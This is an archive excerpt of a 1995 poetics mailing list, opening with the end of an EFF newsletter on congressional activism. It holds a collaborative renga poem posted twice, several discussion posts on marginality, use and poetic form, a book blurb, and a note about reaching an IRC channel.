This bill is unlikely to pass in any form, being very poorly drafted, and without much support. However, the CDA is just as bad and passed with flying colors [the jolly roger?] in the Senate. It's better to be safe than sorry. If you have a few moments to spare, writing to, faxing, or calling your Congresspersons to urge opposition to this bill is a good idea. If you only have time to do limited activism, please concentrate on the CDA instead. That legislation is far more imminent that the AERA.

* Find Out Who Your Congresspersons Are

Writing letters to, faxing, and phoning your representatives in Congress is one very important strategy of activism, and an essential way of making sure YOUR voice is heard on vital issues.

EFF has lists of the Senate and House with contact information, as well as lists of Congressional committees. (A House list is included in this issue of EFFector). These lists are available at:
ftp.eff.org, /pub/Activism/Congress_cmtes/
gopher.eff.org, 1/EFF/Issues/Activism/Congress_cmtes
http://www.eff.org/pub/Activism/Congress_cmtes/

The full Senate and House lists are senate.list and hr.list, respectively. Those not in the U.S. should seek out similar information about their own legislative bodies. EFF will be happy to archive any such information provided.

If you are having difficulty determining who your Representatives are, try contacting your local League of Women Voters, who maintain a great deal of legislative information.

* Join EFF!

You *know* privacy, freedom of speech and ability to make your voice heard
in government are important. You have probably participated in our online
campaigns and forums. Have you become a member of EFF yet? The best way to
protect your online rights is to be fully informed and to make your
opinions heard. EFF members are informed and are making a difference. Join
EFF today!

For EFF membership info, send queries to [redacted], or send any
message to [redacted] for basic EFF info, and a membership form.

Administrivia
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The Electronic Frontier Foundation
1550 Bryant St., Suite 725
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[redacted] (voice)
[redacted] (fax)
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Editor:
Stanton McCandlish, Online Services Mgr./Activist/Archivist
([redacted])

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To get the latest issue, send any message to [redacted] (or
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time for a copy of the current issue. HTML editions available at:
http://www.eff.org/pub/EFF/Newsletters/EFFector/HTML/
at EFFweb. HTML editions of the current issue sometimes take a day or
longer to prepare after issue of the ASCII text version.

End of EFFector Online v08 #18 Digest
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↑ Index

71. cris cheek
welcome the worlds of lost renga
Tue 7 Nov 1995

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posted as 'work in progress' currently being developed by:

Jorge Guitart / Gabrielle Welford / Jordan Davis / Sheila E. Murphy cris cheek / Thomas Bell / George Bowering

in the books were dreams and in the dreams were books. "It's a small world" ripe for macroscopes to pump or slice or butterfly away from that ardent bugged heliotrope and pledge allegiance through ostension--we stopped short of the shortstop's hot stigmatum this time pencilled in as tangly wisps instead of memory detonations: but don't forget to dismember the doloroso I left in the rain by mistake whilst on business vocation the night I told you to stop referring to me as Ontology Boy and you replied all shrouded in epistemology that it was glue we lacked "ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, daarlin' I'm all stuck

on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
to split scintillas in the mist
of lathering first frost blue noon comes on like torqued weed
sucking on the indescribable and taking the ineffable, for a walk
to Paris via seed cigars and chicory and plantain butts
mixed with automaton condolences nixed by Dr. Reynolds

crecheward into sweet line drawings clothed to world our
words for water, falling four blocks away, finally, a gulf
between perceived and rinsing wafered, shroud and comforter,
flogging proud wet stones with patchwork flags making tenement hum
and let it get too cold, "Hey,
tell us apart", "The name is trace, pal"
spun on painted heels, then "vanishing, not varnishing!" her smile

made by Chevettes sliding off the I5 south of Tacoma
monikered bellwether of the pall
top crash, whose running gag was meat

leaf stems whirl about as hobbyist pauses to consider
lunch as a pearl of sanitized dung in relation to
mythology's transference of lettuce, permission to unleash

in the epoxy I used to cement my relationship w/ Thou, the Dead Quaker who
who traipses a paradigm sweat under lights and then fixes

doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to
the grotto of our Lady of Corollaries during the Feast of the Enormity
with widgets handprinted by obvious mistakes in limited editions
shrink-wrapped to keep-out dangerfields unfurled before

"The hell we were!"

a seachange to order as happy as money could meld me a rope

pitchpipe with its squeal subtracted and the dotted-line relationships that sing
"I Love Time but I love Your Spatial Simulacra So Much More" for brevity
inferred and for the latchkey touch more like a feather drizzling ribs trained
sultry moments gathering to migrate south no one so maybe-ed became an
ornament

maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
to Belarus stockmen deflowering everything in sight, grim

Homolkaesque behaviourists - buttoned quality refrigerators:
forensically "I seem to be a verb"
but meteorologically i am an anominal clitic

the empress of rice dream, wrote
impossibly relaxed when thinking about pain beside the capability of boredom
by the volcano that was sacred on the basis of size and not-on merit

"books were closed, dreams were cancelled, the inverted
poplar was set
                right, the cardinal was killed"

looking

for false grit and the dogma of autonomous syntax overwhelmed 'em when
striking from base-camp their paraffin tongues in the cauldron of sylvia's
morning during the time that ted was devising a way to narrate implied memory
for newly-learned novel objects well, now we've met the eremite and he is sour

where wrote was written, stepping
without the prefab little knobbed things on them
completely set on the sea as so much crabbiness
diverting attention from wars in three voices and the steady rain of hemlock
falling on a Concerns box & bull sobbing distant as adventure capital
behind the exterior of the city was an interior composed
of scar tissue recording the grain of farm house timbers
a rubble of history in the grass where a decapitated statue
unavoidably becomes an image of a nation without a true face
ugh gotta change that line

creased, cemented, spun from claustrophobia the way that glitches suggested
themselves as sexuation near the border of profundity where drudges still are
visible but begin to matter less than duality or the boyishness of dusk. I, too,
miscast as a hand-me-down protractor caught out napping on the boss's desk
feel the sign Aliens make for "concocted in the lability of H.P.Grice" who
serendipities all morning after frost has cinched its lag time comes humming by
the torment wing of the museum of facades where remedies steam windows
other than our own and we immerse ourselves in voice of ice loud as the night
priest convenes gnomes who weather what they do in disbelief because
abstraction crushes their

palpitations as preambles to the rust we might someday finagle into the market
of dwarfs' shortcomings that are longgoings in the thrust of memorized vibrati
larkish and unpoised though frequently amiss in the slump of confetti being so
much the memento that we cried under the dandelions where no pulse was

original enough for the dog to be plankton or the nurse a gate in an iron dress
as pressed as any moment striped with platitudes and pain

When gaze is glass and deletion is tossing

scouring the housings for meaningless dripping. How pleasure moves in and
through the breath of anyone is a division problem, and how the grammar of
namely formed water & spark

a face to sell a magazine, to turn to
the calcined sheriff and each to churn through tongue and balls
they too were skeptical of the value of their face
of souvenirs of deliriums of proctors & chests
but like the strong and weak forces mostly they gossipped
in deference to regression to the mean, interpreted as law a million roses
can't subtract from the effect of reference leaking from mention
as we all do when evaporating on the line in an unfocused row

just as the embassy bequeathed bones to every sailor
the penitent dragged his textbooks in burlap over concrete.

soldering the fatherly clavicle to a theory of colors
wounded round and playful although never sleek
swimming in the northblood channel and evening being a paperweight
we sift the rough as fingers reek a favorite color
in the lettering of gestures, from a meadow

we attract like breath mint severally fastened to our angels and our motors of
romance. What can cut across the lake of secretion when

speaking as the reflection that the diving frog shatters
the wave mechanics of a clam's locomotion as her masters thesis
no wonder she now finds rinds lascivious, or bipeds
oleaginous, hawaiaan geese, I'm trucked to fleece numismatic events
and there collect ideas on ash and lime for their own appeasements sake

or exchanged their blind letter for a parapetal posture
a pine forest, travelling as daughters through the lines
of clattering chat, minds to fill and erase
a peaceable that confers with waters thin and deep
varnishing enthusiasm, till the propitious flames lie still
the way we have entrusted them to lie, pink flavored little rhomboids
that prove Euclid a yellowish garment plus scatteredness

wounded round and playful although never sleek Parliament? the punchlines
might have faded but the words sound 'good' with the kind of sand that words
make during spasms skittering and thanking tonal textures for the wash and for

the winged ram that hoards awareness as we turn during the dustfest, yet you pinch yourself to test how far the dust can be removed from you and propelled toward us in sadness by the plateful for the sake of voice

but I doubt it. I find a library card is enough

To bind agency moving the passionary in the direction of the skid is like character taking possession of land during colonisation.
Fear is much like a possession & a handful of rust is locative-like
Frozen fish chutney, subsumed in the task of motherhood relates
How we played baseball with the performance artists!
knocko socko in the terrible neighborhood of implants
Opening festivities, 12:00 o'clock noon.

The glass fish bakes like a brick and sings:

for acting like a lexical structure after puberty
shuffle? I can't even deal, Betty and then I says
"I am outa here: I'm tired of recurrences of semblances"

The glass dish struck with a bannermaker sings
"We were bequeathing our sports skills to the jailor
"Just as the embassy bequeathed bones to every sailor
"the penitent dragged his textbooks in burlap over concrete.

with sentences that even score on score in little subtexts which also mispredict the transfer of affection after glossing

laminating, defacing, reimposing, embossing, buffing, eliding.

There was a written residue down at the corner, where a car had passed that way Lately all my drams have been going north, my dreams I mean. It all boils down to motors, mobiles, and places: If you look closely at the surface of this puddle, you'll see

From a truculent butcher whose soaking came clean
Film presaged in humidland. Film also
Weening drawn one drum that time presents
Continue now, that the angel storm has passed.
Film the books were dreams and in the reams were latex books
What travel we could scrounge from the newspapers

did they radiate bagness over the fragments of blots, or
did they call home once a week, did they walk to work
by dint of rod, glove and puppetry that cauterized my mobile phone
or am I the sealant in the shape you take?

a mere preface to playtex?

Trickster melodies
trying to feel belief in the teeth of induction
or bellwether combed, cleaned, fortified toward
the scene where the parrot of intention lies ice cold

long freighted. Authenticity a crevice for the playful heart which to be
palpable requires a science of daze. And the continuous

murmur he wrote

above the buddhist hot dog vendor "make me one with everything" and yet
proceeded to tear his tongue with her wine-grained books of the rank and file

traced back analysand of yearly planners by forensic
crockers with water jaws and aspectual extensions beyond the
pale frontier made reprobate. With more than a tweaking of late
tomorrowing the mouth that can't be taped with indulgence
planned more than incised from gestural redress according to the
swami standing at a fatal distance as an emblem of
residency, conducted without proper documentation, aprostituted
calming down in the wrong latitude. The lapdog speaks succintly:

when it was a joke
>>> >> >> >> >> >> >> >(privatized)

beyond autonomous behaviours plonked against oblong sleight if you live in a
miner's cottage

marking, not having, organs that ignorant armies crush by night our rush huts
flattered by reintegration into ironic worship

totalizing the egress of shimmering luck data
vending machines and mad hookah
notwithstanding,
all for a bit of sorghum, wheeze, and tantrums to replace the
tangibles like

Massive delusion.

'in snowy weather
I photocopy my resistance scrapbook
against better times
than multiplication tables half erect and blind to caterwaul, drizzle, and
penury'

and pavement
rectifies the long wade through
dabble the merits of solitude tongue with it
piqued apostrophes and slum coats on the edge of being wings

This this this pow!

scared me but I can't grape juice
hastening the use of gingerbread to signify torpor
see see see wrigleys
on a dot but don't you mind because I've got your

snicker bar soliloquy
of sorts. Second on the left and then you

Don't gimme none o that lip!
Standing around with the flamingoes we realized
the gnomic is not what it used to be, and
hanging out with the clones we drizzled
clothing wasn't a question of necessary,

As we climbed along the rocky shore
The set of all beliefs did not include any about us.
With thoughts already darkened by broken clocks
We walked through, turning off the lights
In a clearing tacked up to terraces of glue houses rooved with
Pepper smoke. The majority cleared the room

and nutmeg,
I know how nauseating the word 'poignant' can be, but
will the representative from Indiana please sit down?

↑ Index

72. Larry Price

dunno etc.

Tue 7 Nov 1995

Patrick Phillips: "It seems to me a task of poetry to de-essentialize language/diction so that it goes out to use."

Chris Stroffolino: "The political implications here are seen in opposition to each other-in sofar as wanting to be USED and wanting to DO AWAY WITH USE as such are contradictory urges foisted upon people by "economic necessity" poetry may seem to fail-but the double meaning in Wonder's use of USE may be said to be a kind of Alchemy (as Foster understands it): the sum greater than the parts."

I'm very intrigued by your notion of failure. As the beginning of a response, I want to quote Charles Bernstein: "Is it, then, possible to have marginality as a value that is not perfused by resentment or Romantic evasion? Insofar as marginality is taken as a positive moral value, this dilemma holds. But it can

begin to be dissolved when marginality is recognized, in contradistinction, as a t(r)opological prerequisite of all utterance."

I take it, Chris, this would be a more optimistic sense of "fail." But I too am troubled by any reliance upon "use" as the term of unanimity. In this connection I'd point out that the circle of instrumentality that Heidegger articulated required - for its percipience - breakdown. It is only when something is NOT zu hande that it (and the circle) emerge into palpability. The implications of that for writing are continually being unwritten. So the question is: "marginaltiy as a t(r)opological prerequisite of utterance."

Tom Beard wrote: "then they are speaking different languages (of course this happens all the time)." But with reference to the issues of instrumentality and the margin, it seems more and more the case to me that there are NOT many languages, that there is only this single instrumental cycling, complicated as it is by the obvious range of technologies, but fundamentally interpretive and/or horizonal and furthermore inclined to turn that interpretive horizon back upon itself. The analogy might be 1950s train travel between Country A and Country B. The respective national lines use rails of different widths. But what is most revealing in this scenario is neither the transit nor certainly the equipmental necessities both intra-travel and at the liminal crossing but the sheer incommensurability there at the border. That's the disturbance it seems to me poetry locates again and again within language, It seems impossible to take that into use. (That is, Patrick, I would see, in this case, use itself as the term of the impossible.)

However, ironically (!!) this breakdown does in fact foreground the technology. And it's interesting that Patrick Phillips dovetailed communication and use. It seems that both terms of unanimity create or at least perpetuate a social formation based on debt, the ultimate restricted economy: the propostion ex nihil. Which leads to experience based on the question: Why is there something rather than nothing? One imaginative experience attempts to answer this wtih assertions of truth. But there are similar, parallel, perhaps equivalent experiences based not on "ex nihil" as an assumption, and so not within an assumed restricted economy, and so on a different question: Since there IS something, why do we labor so aggressively to turn it into nothing? This second order of experience answers with assertions, not of truth, but of agency, as Patrick suggests, the plowing of intention back into the social formation. It is the continual externality then of this agency, plied from the multiple horizons of the present, that gives the lie to the sacred bags and boxes of the essential in poetry.

Larry Price

↑ Index

73. Larry Price
Re: Re & Ralph Waldo
Tue 7 Nov 1995

Ed Foster:

Regarding noun- vs. verb-based writing: I don't read the difference as the replacement of one economy by another "one." Instead I would argue (with all the usual caveats that the exceptions etc. prove etc.) that the noun as prime carrier occurs in plenary session, the throes of empire's accomplishment. Whereas verbs predominate either in the grasping forward into imperial potential (Emerson) or (as now) in the gasping conflicted aftermath of its redefinition. In particular, I'm not at all convinced by the demi-collapse of the first line of The Kingfishers. Even past the immediate levels of process and action Olson foregrounded, there was the persistent, almost monotonous allegory, so that what nouns were privileged were so only as materiel for the gold machine. Again, the ex nihil of capital.

Larry Price

↑ Index

74. Jordan Davis
Re: Re & Ralph Waldo
Tue 7 Nov 1995

Larry Price wrote:

Instead I would argue (with all the usual caveats that the exceptions etc. prove etc.) that the noun as prime carrier occurs in plenary session, the throes of empire's accomplishment. Whereas verbs predominate either in the grasping forward into imperial potential (Emerson) or (as now) in the gasping conflicted aftermath of its redefinition... Again, the ex nihil of capital.

Larry, Could you clarify whether you're still describing the Bruce Andrews-waterworld of language or some other historically-determined landmass/geopolitical metaphorical system for poetry? I agree that there's some mystification going on...

Jordan

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75. Jorge Guitart

Renga Report II

Tue 7 Nov 1995

Edited by Cris "Turn the Other" Cheek with input from himself, Tom "Ring The" Bell, Jordan "River" Davis, George "Mr. Canada" Bowering, Gabrielle "Blow Your Horn" Wexford, Sheila E. "Stabat on Raiser" Murphy, and Jorge "While My Last Name Gently Weeps" Guitart.

in the books were dreams and in the dreams were books. "It's a small world"
ripe for macroscopes to pump or slice or butterfly away from that ardent
bugged heliotrope and pledge allegiance through ostension--we stopped short
of the shortstop's hot stigmatum this time pencilled in as tangly wisps instead
of memory detonations: but don't forget to dismember the doloroso I left in the
rain by mistake whilst on business vocation the night I told you to stop referring
to me as Ontology Boy and you replied all shrouded in epistemology that it was
glue we lacked "ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, daarlin'
I'm all stuck

on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
to split scintillas in the mist
of lathering first frost blue noon comes on like torqued weed
sucking on the indescribable and taking the ineffable, for a walk
to Paris via seed cigars and chicory and plantain butts
mixed with automaton condolences nixed by Dr. Reynolds

crecheward into sweet line drawings clothed to world our
words for water, falling four blocks away, finally, a gulf
between perceived and rinsing wafered, shroud and comforter,
flogging proud wet stones with patchwork flags making tenement hum
and let it get too cold, "Hey,
tell us apart", "The name is trace, pal"
spun on painted heels, then "vanishing, not varnishing!" her smile

made by Chevettes sliding off the I5 south of Tacoma
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leaf stems whirl about as hobbyist pauses to consider
lunch as a pearl of sanitized dung in relation to
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in the epoxy I used to cement my relationship w/ Thou, the Dead Quaker who
who traipses a paradigm sweat under lights and then fixes

doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to
the grotto of our Lady of Corollaries during the Feast of the Enormity
with widgets handprinted by obvious mistakes in limited editions
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"The hell we were!"

a seachange to order as happy as money could meld me a rope

pitchpipe with its squeal subtracted and the dotted-line relationships that sing
"I Love Time but I love Your Spatial Simulacra So Much More" for brevity
inferred and for the latchkey touch more like a feather drizzling ribs trained
sultry moments gathering to migrate south no one so maybe-ed became an
ornament

maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
to Belarus stockmen deflowering everything in sight, grim
Homolkaesque behaviourists - buttoned quality refrigerators:
forensically "I seem to be a verb"
but meteorologically i am an anominal clitic

the empress of rice dream, wrote
impossibly relaxed when thinking about pain beside the capability of boredom
by the volcano that was sacred on the basis of size and not-on merit

"books were closed, dreams were cancelled, the inverted
poplar was set
                right, the cardinal was killed"

looking

for false grit and the dogma of autonomous syntax overwhelmed 'em when
striking from base-camp their paraffin tongues in the cauldron of sylvia's
morning during the time that ted was devising a way to narrate implied memory
for newly-learned novel objects well, now we've met the eremite and he is sour

where wrote was written, stepping
without the prefab little knobbed things on them
completely set on the sea as so much crabbiness
diverting attention from wars in three voices and the steady rain of hemlock
falling on a Concerns box & bull sobbing distant as adventure capital
behind the exterior of the city was an interior composed
of scar tissue recording the grain of farm house timbers
a rubble of history in the grass where a decapitated statue

unavoidably becomes an image of a nation without a true face
ugh gotta change that line

creased, cemented, spun from claustrophobia the way that glitches suggested themselves as sexuation near the border of profundity where drudges still are visible but begin to matter less than duality or the boyishness of dusk. I, too, miscast as a hand-me-down protractor caught out napping on the boss's desk feel the sign Aliens make for "concocted in the lability of H.P.Grice" who serendipities all morning after frost has cinched its lag time comes humming by the torment wing of the museum of facades where remedies steam windows other than our own and we immerse ourselves in voice of ice loud as the night priest convenes gnomes who weather what they do in disbelief because abstraction crushes their

palpitations as preambles to the rust we might someday finagle into the market of dwarfs' shortcomings that are longgoings in the thrust of memorized vibrati larkish and unpoised though frequently amiss in the slump of confetti being so much the memento that we cried under the dandelions where no pulse was original enough for the dog to be plankton or the nurse a gate in an iron dress as pressed as any moment striped with platitudes and pain

When gaze is glass and deletion is tossing

scouring the housings for meaningless dripping. How pleasure moves in and through the breath of anyone is a division problem, and how the grammar of namely formed water & spark

a face to sell a magazine, to turn to
the calcined sheriff and each to churn through tongue and balls
they too were skeptical of the value of their face
of souvenirs of deliriums of proctors & chests
but like the strong and weak forces mostly they gossipped
in deference to regression to the mean, interpreted as law a million roses
can't subtract from the effect of reference leaking from mention
as we all do when evaporating on the line in an unfocused row

just as the embassy bequeathed bones to every sailor
the penitent dragged his textbooks in burlap over concrete.

soldering the fatherly clavicle to a theory of colors
wounded round and playful although never sleek
swimming in the northblood channel and evening being a paperweight
we sift the rough as fingers reek a favorite color
in the lettering of gestures, from a meadow

we attract like breath mint severally fastened to our angels and our motors of romance. What can cut across the lake of secretion when

speaking as the reflection that the diving frog shatters
the wave mechanics of a clam's locomotion as her masters thesis
no wonder she now finds rinds lascivious, or bipeds
oleaginous, hawaiaan geese, I'm trucked to fleece numismatic events
and there collect ideas on ash and lime for their own appeasements sake

or exchanged their blind letter for a parapetal posture
a pine forest, travelling as daughters through the lines
of clattering chat, minds to fill and erase
a peaceable that confers with waters thin and deep
varnishing enthusiasm, till the propitious flames lie still
the way we have entrusted them to lie, pink flavored little rhomboids
that prove Euclid a yellowish garment plus scatteredness

wounded round and playful although never sleek Parliament? the punchlines
might have faded but the words sound 'good' with the kind of sand that words
make during spasms skittering and thanking tonal textures for the wash and for
the winged ram that hoards awareness as we turn during the dustfest, yet you
pinch yourself to test how far the dust can be removed from you and propelled
toward us in sadness by the plateful for the sake of voice

but I doubt it. I find a library card is enough

To bind agency moving the passionary in the direction of the skid is like
character taking possession of land during colonisation.
Fear is much like a possession & a handful of rust is locative-like
Frozen fish chutney, subsumed in the task of motherhood relates
How we played baseball with the performance artists!
knocko socko in the terrible neighborhood of implants
Opening festivities, 12:00 o'clock noon.

The glass fish bakes like a brick and sings:

for acting like a lexical structure after puberty
shuffle? I can't even deal, Betty and then I says
"I am outa here: I'm tired of recurrences of semblances"

The glass dish struck with a bannermaker sings
"We were bequeathing our sports skills to the jailor
"Just as the embassy bequeathed bones to every sailor
"the penitent dragged his textbooks in burlap over concrete.

with sentences that even score on score in little subtexts which also
mispredict the transfer of affection after glossing

laminating, defacing, reimposing, embossing, buffing, eliding.

There was a written residue down at the corner, where a car had passed that way Lately all my drams have been going north, my dreams I mean. It all boils down to motors, mobiles, and places: If you look closely at the surface of this puddle, you'll see

From a truculent butcher whose soaking came clean
Film presaged in humidland. Film also
Weening drawn one drum that time presents
Continue now, that the angel storm has passed.
Film the books were dreams and in the reams were latex books
What travel we could scrounge from the newspapers

did they radiate bagness over the fragments of blots, or
did they call home once a week, did they walk to work
by dint of rod, glove and puppetry that cauterized my mobile phone
or am I the sealant in the shape you take?

a mere preface to playtex?

Trickster melodies
trying to feel belief in the teeth of induction
or bellwether combed, cleaned, fortified toward
the scene where the parrot of intention lies ice cold

long freighted. Authenticity a crevice for the playful heart which to be palpable requires a science of daze. And the continuous

murmur he wrote

above the buddhist hot dog vendor "make me one with everything" and yet proceeded to tear his tongue with her wine-grained books of the rank and file

traced back analysand of yearly planners by forensic crockers with water jaws and aspectual extensions beyond the pale frontier made reprobate. With more than a tweaking of late tomorrowing with the mouth that cannot be taped with indulgence planned more than incised from gestural redress according to the swami standing at a fatal distance as an emblem of residency, conducted without proper documentation, aprostituted calming down in the wrong latitude. The lapdog speaks succintly:

when it was a joke
>>> >> >> >> >> >> >> >(privatized)

beyond autonomous behaviours plonked against oblong sleight if you live in a miner's cottage

marking, not having, organs that ignorant armies crush by night our rush huts flattered by reintegration into ironic worship

totalizing the egress of shimmering luck data
vending machines and mad hookah
notwithstanding,
all for a bit of sorghum, wheeze, and tantrums to replace the
tangibles like

Massive delusion.

'in snowy weather
I photocopy my resistance scrapbook
against better times
than multiplication tables half erect and blind to caterwaul, drizzle, and
penury'

and pavement
rectifies the long wade through
dabble the merits of solitude tongue with it
piqued apostrophes and slum coats on the edge of being wings

This this this pow!

scared me but I can't grape juice
hastening the use of gingerbread to signify torpor
see see see wrigleys
on a dot but don't you mind because I've got your

snicker bar soliloquy
of sorts. Second on the left and then you

Don't gimme none o that lip!
Standing around with the flamingoes we realized
the gnomic is not what it used to be, and
hanging out with the clones we drizzled
clothing wasn't a question of necessary,

As we climbed along the rocky shore
The set of all beliefs did not include any about us.
With thoughts already darkened by broken clocks
We walked through, turning off the lights
In a clearing tacked up to terraces of glue houses rooved with
Pepper smoke. The majority cleared the room

and nutmeg,
I know how nauseating the word 'poignant' can be, but
will the representative from Indiana please sit down?

↑ Index

76. Chris Stroffolino

Re: dunno etc.

Tue 7 Nov 1995

Dear Larry Price-- I am not willing to concede that marginiality is the prerequisite-- even if figured as a trope--of ALL utterance. This of course is a very attractive view (I am hopefully not exempting myself from part-time adherence--like PART-TIME PUNKS?), in part because it seems to foster (not ed) wonder (not steview). But something (perhaps sinister) resists the universality (or universalization) of marginality and the implication that the central (whether figured socio-economically or interpersonally) is always that which is unsaid. Something wants to break with such endlessly self-qualifying sophistication.

It's no doubt an open question (but even that sentence can be seen to be self-contradictory, if it's an open-question there MUST be room for doubt). But surely there are forms of evasion that are not ROMANTIC (the romantics certainly have no corner on THAT marginalized market), forms that may even be patently ANTI-ROMANTIC. And in the sense that "Romantic evasion" seems to be understood in the Bernstein quote, the very Shelley himself is only some of the time "guilty" of it.

If one is torn between the Scylla and Charbydis of resentment and evasion unless (or until) one does away with the CONCEPT of margin- ality (as bernstein suggests) and adopts an idea of power that is more Foucaultian than Maxian, then on one very real ("concrete" as they say) level one is being evasive. On another level of course one is being totally honest, sincere, playful, trusting, acting "in good faith" and even potentially empowering (unless one of course RESENTS speaking this language, which only yesterday seemed soooooo grovy, and may seem so again manana). Maybe both levels are equally "valid," need at various times to be "indulged." For even the most resolute Marxist does not ALWAYS conceive "power" in terms of haves and have nots. Though it seems you're suggesting a BLUR of both levels, and a BLUR of resentment and evasion. Why is this preferable (if it is?) to letting resentment have its due, letting evasion have its due. Story writers make them into characters--But what technology (sorry) is involved the poetic representation of resentment and evasion that allows them to be indulged in but at the same time not finalized as the ultimately applicable strategy. I guess I'm more interested than that right now than in the HYBRID BLUR (though my first book WAS going to be called "Better Known as a Blur" and that poem is still in it---funny how our "past" refutes "our present.") Chris S.

↑ Index

77. Edward Foster
Re: Re & Ralph Waldo
Tue 7 Nov 1995

but the argument, larry, is so only within the peculiarities of an economics that just may not be there. i'm not fully convinced by the opening of o's k, but that's ok: the music's real enough. (sorry, that was a dreadful thing to do.) aren't you yourself caught up in a persistent allegory? the cadence comes first tho, some involving repetition (noun) or renewal (verb). -ed

↑ Index

78. Edward Foster
Re: new terrific talisman book
Tue 7 Nov 1995

re: Simon Pettet's selected, new from talisman, John Ashbery says, "Like Beethoven's Bagatelles, Simon Pettet's short poems have a great deal to say, and their seemingly modest dimensions help rather than hinder his saying it. An unorthodox lucidity reminiscent of Schuyler, a certain English dappledness and an oriental concision blend in poetry whose sweet, complex fragrance is Pettet's secret." And Alice Notley: ". . . poems like large beads with words deeply carved in them . . . and so the beads turn from wood to gem in this light: a New York light cast on English speech (English light cast on New York speech?) Perfect poems, unexpectedly." And Tom Raworth, "The lyric poet takes it personally. This _I_ heard talk of jerky black-and-white pullovers. Outside, every signpost said `love.' The _I_ made a coat of language and chose west. Lo! madrigals drift from a yellow cab on the Lower East Side. Inside, Simon's I speaks elegantly to itself." So, folks, if yr bookstore is not soon stocked with this amazing, 100% terrific book, maybe something serious is amiss. Pettet's one of the best, and this book has the proof.

↑ Index

79. Patrick Phillips
Re: dunno etc.
Tue 7 Nov 1995

> *And it's interesting that Patrick Phillips dovetailed communication and use. It seems that both terms of unanimity create or at least perpetuate a social formation based on debt, the ultimate restricted economy:*

Ultimately it is a restricted economy. Not based on debt, for debt conditions the negative. But based on conditions of communication. Circular, yes. But the conditions of communication are based more on resisting and challenging

torpor - communications means. And, how it means. Debt is a precursor to and an extension of loss, an extension of loose. (And the lyric as recuperation is an extension of loss.) But use is conditioned by the possible, not the impossible, not of debt. Of have as opposed to lack. To write from a position of lack is to fetishize the wound - (fresh off a Nate Mackey interview in Talisman 9). Intention presupposes the possible, moving against the agent of looser.

> *It is the continual externality*
> *then of this agency, plied from the multiple horizons of the present, that*
> *gives the lie to the sacred bags and boxes of the essential in poetry.*

yeah. yeah.

↑ Index

80. Steve Carll
Re: signs taken for wonders
Tue 7 Nov 1995

Tom:

Is poetic truth "valid"? In other words, if we interpret a poem as indeed asserting such and such, and that such and such is clearly in conflict with what science tells us is possible for suchness, does that invalidate the poem's assertion? And if not (or even if so, come to think of it), then (if you'll forgive the flipness) what's so important about this particular notion of validation?

Thanks,
Steve

↑ Index

81. Kevin Killian
Re: EPC.Live
Wed 8 Nov 1995

> *For Mac users, can't we just use the program Homer (rather than using telnet) and get on the undernet to join channel EPCLIVE?*
>
> *Dodie, Did you try this and it works? If so, we will go ahead and append this to our instructions ...*
>
> *Thanks!*
> *Loss*

Loss,

Dodie and I just got on the undernet per the instructions Dodie gave to Eryque the other day, and lo and behold, we found the epclive channel, so it looks like

the Homer method does indeed work. But, no one was on it, only the robot named "X." So, how do we know when people are going to get on it? Please publish this in your TV Guide listings.

Yours,
Kevin

↑ Index

82. Larry Price
Indulgence
Wed 8 Nov 1995

Chris, it's not that the indulgence of any particular moment is wrong. Evasiveness can be an effective political tool. Resentment can foster clarity. The problem comes when these terms are hoisted into an explanatory register, when they begin to account in themselves as narratives for social formations. The danger that Charles is writing of is the "balkanization of identities," either the retreat up the mountain of marginality away from the historical moment, or, in some ways, worse, a narrativizing of splintered, resentful, marginalized lives as somehow morally pre-eminent. Clearly then, you're right to say: "Something wants to break with such endlessly self-qualifying sophistication."

But the prior point has to be that we not only recognize but willfully embrace this location. Clearly for me as an albeit marginally enfranchised white male to persist in "You go to town, Tonto" heroics would be disingenuous. Obviously, the willful DISenfranchisement of "he need (present) enemy (plural)" is not what I mean. What I do mean is that despite the very real horror that power visits, has visited, will visit upon us, there is nonetheless another very real sense in which Richard Nixon was a palpably simplistic narrative told from the impalpable margins. One circle, the inner circle, may have pulled the strings, but it was the larger circle of instrumentality, the equipmental whole of 1960s America that made it possible by assuming to it as the term of unanimity. It's that impalpability of the assumed that's the horror. It's there that we begin to forget to remember.

Larry Price

↑ Index

83. Larry Price
Waldo & O
Wed 8 Nov 1995

Ed:

I didn't mean to imply that I'm NOT caught up in persistent allegory, even, as a reader, Olson's. Only that the monotony of it (his or mine or ours) comes probably as a lazy eye, the gap in thought the noun is supposed somehow to fill. As to cadence,

"in! in! the bow-sprit, bird, the beak"

sounds too much like Dylan Thomas for comfort.

lp

↑ Index

84. Jordan Davis
Re: Waldo & O
Wed 8 Nov 1995

On Wed, 8 Nov 1995, Larry Price wrote:

> "in! in! the bow-sprit, bird, the beak"
>
> sounds too much like Dylan Thomas for comfort.
>
a) I like Dylan Thomas. b) it sounds more like Hopkins.

Jordan

↑ Index

85. ULMER SPRING
Re: dunno etc.
Wed 8 Nov 1995

---

to caress less - feeling more
the way the word breaks down
        "economic necessity", typing parallel lines
do away with, yet stay together
the way making is not all there
contradictory urges perhaps not just "foisted"
but perhaps sublinear
because i change my linger.
want to stay, but the ferocious tears
give me away.
double meaning of use is greater than use
i cannot encase marginality, nor do i write there
but write out of
the margin to get my breath heard

is then how i as a margin get my space
or am read
when i am stuck with a line between my heart and who hears

so then i am perfused with resentment
and of course this is mistaken for my hysterianostalgiamysteriaromanasque disappearance
such a nice disguise for those who can Afford to hide
marginality as positive with no means to
and the feelings of being squashed without anger?
could i live there?
without feeling?
no, that marginality has it's upsides down when i write
that double negative makes a positive or is supposed to
but my writing stays in the quiet
or is heard but misplaced

marginality can only be seen as a prerequisite to utterance in that without writing (in this day and age) i would not be alive, without the idea to be able to talk silently, since no one can hear me, that this voice is louder than all others put together.

to be tricked into the margin, to be tricked into silent word
to be on the page again
as love is

yes

hard

and how to use such loaded metaphor to distill the triumph to fail optimistically

this means the silence speaks for itself? that the breakdown is the utter margin (that unwritten)

